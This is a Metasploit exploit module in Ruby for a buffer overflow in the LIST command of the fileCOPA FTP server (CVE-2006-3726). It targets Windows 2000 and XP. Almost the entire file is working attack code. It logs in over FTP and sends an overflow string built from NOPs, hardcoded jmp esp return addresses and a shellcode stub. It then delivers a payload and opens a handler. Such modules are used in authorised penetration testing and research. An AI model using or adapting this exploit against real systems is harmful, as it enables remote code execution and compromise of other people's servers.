/
filecopa_list_overflow.rb
60 lines (50 loc) · 1.7 KB
/
filecopa_list_overflow.rb
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##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = AverageRanking
include Msf::Exploit::Remote::Ftp
def initialize(info = {})
super(update_info(info,
'Name' => 'FileCopa FTP Server Pre 18 Jul Version',
'Description' => %q{
This module exploits the buffer overflow found in the LIST command
in fileCOPA FTP server pre 18 Jul 2006 version discovered by www.appsec.ch
},
'Author' => [ 'Jacopo Cervini' ],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2006-3726' ],
[ 'OSVDB', '27389' ],
[ 'BID', '19065' ],
],
'Privileged' => true,
'Payload' =>
{
'Space' => 400,
'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c",
'StackAdjustment' => -3500,
},
'Platform' => 'win',
'Targets' =>
[
[ 'Windows 2k Server SP4 English', { 'Ret' => 0x7c2e7993, 'Nops' => 160 } ], # jmp esp
[ 'Windows XP Pro SP2 Italian', { 'Ret' => 0x77f62740, 'Nops' => 240 } ] # jmp esp
],
'DisclosureDate' => '2006-07-19',
'DefaultTarget' => 0))
end
def exploit
c = connect_login
return if not c
print_status("Trying target #{target.name}...")
sploit = "A "
sploit << make_nops(target['Nops'])
sploit << [target.ret].pack('V') + make_nops(4) + "\x66\x81\xc1\xa0\x01\x51\xc3" + make_nops(189) + payload.encoded
send_cmd( ['LIST', sploit] , false)
handler
disconnect
end
end